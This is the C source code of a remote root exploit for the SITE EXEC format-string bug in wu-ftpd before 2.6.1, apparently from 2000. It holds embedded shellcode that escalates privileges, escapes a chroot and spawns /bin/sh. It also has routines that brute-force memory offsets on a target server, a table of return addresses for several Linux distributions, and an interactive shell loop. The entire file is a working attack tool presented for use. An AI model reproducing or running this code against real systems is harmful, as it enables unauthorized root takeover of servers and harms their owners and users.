/* * THIS IS PRIVATE!! DO NOT DISTRIBUTE!! VERY MUCH PRIVATE!! * * fx - BETA9 - WU-FTPD REMOTE ROOT EXPLOIT * Exploits the format bug on the call SITE EXEC in wu-ftpd < 2.6.1 * * Greets to: All spanish coders in the dark :) * * The Dark Raver * (23/08/2000 - Spain) * * Tired of trying other wu-ftpd exploits and they dont work?? * Tired of waiting for very slow ways of exploiting?? * Tired of using exact offsets that never works?? * * This is your exploit!!!! It tests differents aligns, lengths, sizes * and offsets until it found the shell. * * The code sucks, but work 90% of times on 90% of vulnerable wu-ftpd for * linux. Just play with the values. * * Example: Offset Ret Eat-Align * SuSe 6.3 wuftpd.rpm 2.6.0-20 0xbfffae68 0xbffffd9b 137-2 * RedHat 6.2 wu-ftpd-2.6.0-3.i386.rpm 0xbfffd074 0xbfffdd14 137-2 * RedHat 6.2 wu-ftpd-2.6.0-3.i386.rpm 0xbfffae68 0xbffffd9b 137-2 * SuSe 6.3 wuftpd.rpm 2.6.0-20 0xbfffce94 0xbfffd6d4 137-2 * Caldera 1.1 wu-2.4.2-academ[BETA-15](1) 0xbfffec14 0xbffffee0 5-2 * SuSe 5.1 wuftpd-2.4.2beta15-5 0xbfffeafc 0xbffffdf8 5-2 * ?? wu-2.4(1) 0x???????? 0x???????? 5-6 * ?? wu-2.4(4) 0xbffff0dc 0xbffffe14 5-2 * RedHat 5.0 wu-ftpd-2.4.2b15-5 0xbfffef28 0xbffffdf4 5-2 * RedHat 6.2 wu-ftpd-2.6.0-3.i386.rpm 0xbfffae38 0x8075a10 137-2 * RedHat 6.2 wu-ftpd-2.6.0-3.i386.rpm 0xbfffae68 0x8076cb0 137-2 * Mandrake 7 wu-2.6.0 0xbfffaeec 0xbffffe5b 137-2 * * * !!NOTE!! Dont use offsets with the chars 0x00 (dont be lamer! ;) * * !!NOTE!! wu-ftpd converts to lowercase so most 0x41-0x5A will be converted * to another values. * * !!NOTE!! The shellcode and some strings printed in the screen can corrupt * your terminal simply ^Z, reset and fg. * * Para Omnis la mejor y la imposible: * * "Hoy la tierra y los cielos me sonrien, * Hoy llega al fondo de mi alma el sol, * Hoy la he visto... la he visto y me ha mirado... * Hoy creo en Dios!" * */ #include #include #include #include #include #include #include #include #include #include #include #include #include int debug=0; // change this if you want output int force=1; #define EAT 137 #define TOEIP 0xbfffae68 #define ALIN 2 #define RETN 0xbffffd9b #define BUFLEN 1024 #define BIGBUF 10000 #define INICIO 0x245 void conectar(char *host); void term(void); void mkcode1(void); void mkbuf(void); void mkini(void); void mkalin(void); void mksh(void); void status(void); char code1[40]; // nops + suid + break chroot + sh char code2[]= "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x4f\x31\xc0\x31\xc9\x5e\x88" "\x46\x07\xb0\x27\x8d\x5e\x05\xfe\xc5\xb1\xed\xcd\x80\x31\xc0\x8d" "\x5e\x05\xb0\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1\xd0\xff\xff\xf7\xdb" "\x31\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03\xe0\xf9\x5e\xb0" "\x3d\x8d\x5e\x10\xcd\x80\x31\xc0\x89\x76\x08\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xac\xff\xff\xff\xff" "\xff\xff/bin/sh"; char code3[8]; // Global variables rulez!!! ;) int alin=ALIN; int eat=EAT; unsigned int toeip=TOEIP; unsigned int retn=RETN; char buf[BUFLEN]; int inicio=INICIO; int opt=1; int sock; struct sockaddr_in sa; struct hostent *hp; int main(int argc, char *argv[]) { char mbuf[BIGBUF]; int c; char *str; while ((c = getopt(argc,argv,"df"))!= -1){ switch (c) { case 'd': printf("Debug active\n"); debug=1; break; case 'f': printf("Forcing values\n"); force=0; break; } } argc -= optind; argv += optind; //printf("%i\n", argc); if(argc!=5) { fprintf(stderr,"Usage: fx [offset] [eat] [align] [address] [-d] [-f]\n"); if(argc==1) { printf("Using default values: offset=%x eat=%i align=%i add=%x\n", toeip, eat, alin, retn); } else { exit(0); } } printf("1. Connecting...\n"); if(debug) getchar(); conectar(argv[0]); printf("2. Calculating eat...\n"); if(debug) getchar(); if(argc>=3) { sscanf(argv[2], "%i", &eat); } else { eat=EAT; } // The real spaghetti coding!!! ;) if(force) { eat--; do { eat++; memset(code1,0x30,40); mkalin(); send(sock,buf,strlen(buf),0); c=recv(sock, mbuf, sizeof(mbuf), 0); if(debug) puts(mbuf); str=strchr(mbuf,'|'); if(str==0) { printf("Unable to complete search!\n"); exit(-1); } str[9]='\x00'; printf("Using eat: %i\n", eat); printf("<%s>\n\n",str); if(!(strncmp(str,"|30303030",9))) { opt=0; } memset(mbuf, 0, BIGBUF); c=recv(sock, mbuf, sizeof(mbuf), 0); if(debug) puts(mbuf); memset(mbuf, 0, BIGBUF); if(debug) getchar(); } while(opt); opt=1; } printf("Eat OK: %i\n", eat); printf("3. Calculating align...\n"); if(debug) getchar(); if(argc>=4) { sscanf(argv[3], "%i", &alin); } else { alin=ALIN; } if(force) { alin--; do { alin++; toeip=0x31313131; mkcode1(); mkalin(); send(sock,buf,strlen(buf),0); c=recv(sock, mbuf, sizeof(mbuf), 0); if(debug) puts(mbuf); str=strchr(mbuf,'|'); if(str==0) { printf("Unable to complete search!\n"); exit(-1); } str[9]='\x00'; printf("Using align: %i\n", alin); printf("<%s>\n\n",str); if(!(strncmp(str,"|31313131",9))) { opt=0; } memset(mbuf, 0, BIGBUF); c=recv(sock, mbuf, sizeof(mbuf), 0); if(debug) puts(mbuf); memset(mbuf, 0, BIGBUF); if(debug) getchar(); } while(opt); opt=1; toeip=TOEIP; } printf("Align OK: %i\n", alin); printf("4. Calculating inital length...\n"); if(debug) getchar(); if(argc>=2) { sscanf(argv[1], "%x", &toeip); } else { toeip=TOEIP; } if(force) { mkcode1(); mkini(); send(sock,buf,strlen(buf),0); c=recv(sock, mbuf, sizeof(mbuf), 0); if(debug) puts(mbuf); str=strchr(mbuf,'|'); if(str==0) { printf("Unable to complete search!\n"); exit(-1); } inicio=str - mbuf - 4; memset(mbuf, 0, BIGBUF); c=recv(sock, mbuf, sizeof(mbuf), 0); if(debug) puts(mbuf); memset(mbuf, 0, BIGBUF); if(debug) getchar(); } printf("Start OK: %x\n", inicio); // It search in the remote memory!! wow!! :) printf("5. Searching for shellcode\n"); if(debug) getchar(); if(argc>=5) { sscanf(argv[4], "%x", &retn); } else { retn=RETN; } if(force) { retn-=0x40; do { retn+=0x40; toeip=retn; mkcode1(); mksh(); send(sock,buf,strlen(buf),0); c=recv(sock, mbuf, sizeof(mbuf), 0); if(debug) puts(mbuf); str=strchr(mbuf,'|'); if(str==0) { printf("Unable to complete search!\n"); exit(-1); } str[5]='\x00'; printf("Using ret: %x\n", retn); printf("<%s>\n\n",str); if(!(strncmp(str,"|AAAA",5))) { opt=0; } memset(mbuf, 0, BIGBUF); c=recv(sock, mbuf, sizeof(mbuf), 0); if(debug) puts(mbuf); memset(mbuf, 0, BIGBUF); if(debug) getchar(); } while(opt); opt=1; } printf("Address of the shellcode OK: %x\n", retn); printf("6. Sending attack...\n"); if(argc>=2) { sscanf(argv[1], "%x", &toeip); } else { toeip=TOEIP; } status(); if(debug) getchar(); do { printf("Using Offset: %x\n", toeip); mkcode1(); mkbuf(); send(sock,buf,strlen(buf),0); printf("Waiting for shell...\n\n"); term(); printf("Logged out...\n"); if(debug) getchar(); printf("Reconecting...\n"); if(debug) getchar(); close(sock); fflush(stdout); conectar(argv[0]); } while(opt); printf("Ending..."); if(debug) getchar(); close(sock); fflush(stdout); exit(0); } void conectar(char *host) { char cbuf[BUFLEN]; int c; memset(cbuf, 0, BUFLEN); if((hp=(struct hostent *)gethostbyname(host))==NULL) { perror("gethostbyname()"); exit(0); } if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) { perror("socket()"); exit(0); } sa.sin_family=AF_INET; sa.sin_port=htons(21); memcpy((char *)&sa.sin_addr,(char *)hp->h_addr,hp->h_length); if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))!=0) { perror("connect()"); exit(0); } printf("Connected to %s\n",host); printf("Reading...\n"); c=recv(sock, cbuf, sizeof(cbuf), 0); if(debug) puts(cbuf); if((strncmp(cbuf, "220 ", 4))==0) { memset(cbuf, 0, BUFLEN); } else { if((strncmp(cbuf, "220-", 4))==0) { memset(cbuf, 0, BUFLEN); c=recv(sock, cbuf, sizeof(cbuf), 0); if(debug) puts(cbuf); memset(cbuf, 0, BUFLEN); } else { printf("Wrong ftp server\n"); exit(-1); } } printf(">> user ftp\n"); sprintf(cbuf,"user ftp\n"); write(sock,cbuf,strlen(cbuf)); c=recv(sock, cbuf, sizeof(cbuf), 0); if(debug) puts(cbuf); if(strncmp(cbuf, "331", 3)) { printf("Anonymous ftp not allowed\n"); exit(-1); } memset(cbuf, 0, BUFLEN); printf(">> pass %s@mail.com\n", code2); sprintf(cbuf,"pass %s@mail.com\n", code2); write(sock,cbuf,strlen(cbuf)); c=recv(sock, cbuf, sizeof(cbuf), 0); if(debug) puts(cbuf); if((strncmp(cbuf, "230 ", 4))==0) { memset(cbuf, 0, BUFLEN); } else { if((strncmp(cbuf, "230-", 4))==0) { memset(cbuf, 0, BUFLEN); c=recv(sock, cbuf, sizeof(cbuf), 0); if(debug) puts(cbuf); memset(cbuf, 0, BUFLEN); } else { printf("Wrong password\n"); exit(-1); } } printf("Logged\n"); } void term(void) { char sbuf[BUFLEN]; fd_set rfds; int x; sprintf(sbuf, "QUIT\nuname -a; id;\n"); send(sock, sbuf, strlen(sbuf), 0); while (1) { FD_ZERO(&rfds); FD_SET(0, &rfds); FD_SET(sock, &rfds); if(select((0 > sock ? 0 : sock) + 1, &rfds, NULL, NULL, NULL) < 1) return; if(FD_ISSET(sock, &rfds)) { if((x = read(sock, sbuf, sizeof(sbuf))) < 1) return; write(0, sbuf, x); } if(FD_ISSET(0, &rfds)) { if((x = read(0, sbuf, sizeof(sbuf))) < 1) return; write(sock, sbuf, x); } } } void mkcode1(void) { int i; int c; memset(code1,0x30,40); i=alin; for(c=0;c<4;c++) { code1[i]=(toeip & 0xff); if(code1[i]=='\xff') { i++; code1[i]=(toeip & 0xff); } i++; code1[i]=((toeip & 0xff00) >> 8); if(code1[i]=='\xff') { i++; code1[i]=((toeip & 0xff00) >> 8); } i++; code1[i]=((toeip & 0xff0000) >> 16); if(code1[i]=='\xff') { i++; code1[i]=((toeip & 0xff0000) >> 16); } i++; code1[i]=((toeip & 0xff000000) >> 24); if(code1[i]=='\xff') { i++; code1[i]=((toeip & 0xff000000) >> 24); } i=i+5; toeip++; } i=i-4; code1[i]='\x00'; } void mkbuf(void) { char *ptr = buf; int r1, r2, r3, r4; int i; memset(buf, 0, 1024); ptr = &buf[strlen(buf)]; sprintf(ptr, "site exec "); ptr = &buf[strlen(buf)]; for(i=0; i < strlen(code1);i++) { sprintf(ptr,"%c", code1[i]); ptr = &buf[strlen(buf)]; } for(i=0; i < eat; i++) { sprintf(ptr, "%%.f"); ptr = &buf[strlen(buf)]; } r1 = (retn & 0xff); r1 |= ((inicio & 0xff00) + 0x100); sprintf(ptr,"%%.%dd", r1 - inicio); ptr = &buf[strlen(buf)]; sprintf(ptr,"%%n"); ptr = &buf[strlen(buf)]; r2 = (retn & 0xff00) >> 8; r2 |= ((inicio & 0xff00) + 0x200); sprintf(ptr,"%%.%dd", r2 - r1); ptr = &buf[strlen(buf)]; sprintf(ptr,"%%n"); ptr = &buf[strlen(buf)]; r3 = (retn & 0xff0000) >> 16; r3 |= ((inicio & 0xff00) + 0x300); sprintf(ptr,"%%.%dd", r3 - r2); ptr = &buf[strlen(buf)]; sprintf(ptr,"%%n"); ptr = &buf[strlen(buf)]; r4 = (retn & 0xff000000) >> 24; r4 |= ((inicio & 0xff00) + 0x400); sprintf(ptr,"%%.%dd", r4 - r3); ptr = &buf[strlen(buf)]; sprintf(ptr,"%%n"); ptr = &buf[strlen(buf)]; sprintf(ptr,"%s",code3); ptr = &buf[strlen(buf)]; sprintf(ptr,"\n"); } void mkini(void) { char *ptr = buf; int i; memset(buf, 0, 1024); ptr = &buf[strlen(buf)]; sprintf(ptr, "site exec "); ptr = &buf[strlen(buf)]; for(i=0; i < strlen(code1);i++) { sprintf(ptr,"%c", code1[i]); ptr = &buf[strlen(buf)]; } for(i=0; i < eat; i++) { sprintf(ptr, "%%.f"); ptr = &buf[strlen(buf)]; } sprintf(ptr,"|"); ptr = &buf[strlen(buf)]; sprintf(ptr,"%%x-"); ptr = &buf[strlen(buf)]; sprintf(ptr,"%%x"); ptr = &buf[strlen(buf)]; sprintf(ptr,"\n"); } void mkalin() { char *ptr = buf; int i; memset(buf, 0, 1024); ptr = &buf[strlen(buf)]; sprintf(ptr, "site exec "); ptr = &buf[strlen(buf)]; for(i=0; i < strlen(code1);i++) { sprintf(ptr,"%c", code1[i]); ptr = &buf[strlen(buf)]; } for(i=0; i < eat; i++) { sprintf(ptr, "%%.f"); ptr = &buf[strlen(buf)]; } sprintf(ptr,"%%x"); ptr = &buf[strlen(buf)]; sprintf(ptr,"|"); ptr = &buf[strlen(buf)]; sprintf(ptr,"%%x"); ptr = &buf[strlen(buf)]; sprintf(ptr,"\n"); } void mksh(void) { char *ptr = buf; int r1, r2, r3, r4; int i; memset(buf, 0, 1024); ptr = &buf[strlen(buf)]; sprintf(ptr, "site exec "); ptr = &buf[strlen(buf)]; for(i=0; i < strlen(code1);i++) { sprintf(ptr,"%c", code1[i]); ptr = &buf[strlen(buf)]; } for(i=0; i < eat; i++) { sprintf(ptr, "%%.f"); ptr = &buf[strlen(buf)]; } r1 = (retn & 0xff); r1 |= ((inicio & 0xff00) + 0x100); sprintf(ptr,"%%.%dd", r1 - inicio); ptr = &buf[strlen(buf)]; sprintf(ptr,"|%%s"); ptr = &buf[strlen(buf)]; r2 = (retn & 0xff00) >> 8; r2 |= ((inicio & 0xff00) + 0x200); sprintf(ptr,"%%.%dd", r2 - r1 - 1); ptr = &buf[strlen(buf)]; sprintf(ptr,"%%x"); ptr = &buf[strlen(buf)]; r3 = (retn & 0xff0000) >> 16; r3 |= ((inicio & 0xff00) + 0x300); sprintf(ptr,"%%.%dd", r3 - r2 - 1); ptr = &buf[strlen(buf)]; sprintf(ptr,"%%x"); ptr = &buf[strlen(buf)]; r4 = (retn & 0xff000000) >> 24; r4 |= ((inicio & 0xff00) + 0x400); sprintf(ptr,"%%.%dd", r4 - r3 - 1); ptr = &buf[strlen(buf)]; sprintf(ptr,"%%x"); ptr = &buf[strlen(buf)]; sprintf(ptr,"%s",code3); ptr = &buf[strlen(buf)]; sprintf(ptr,"\n"); } void status(void){ printf("[ Using values: offset=%x eat=%i align=%i add=%x inicio=%x ]\n", toeip, eat, alin, retn, inicio); } // By The Dark Raver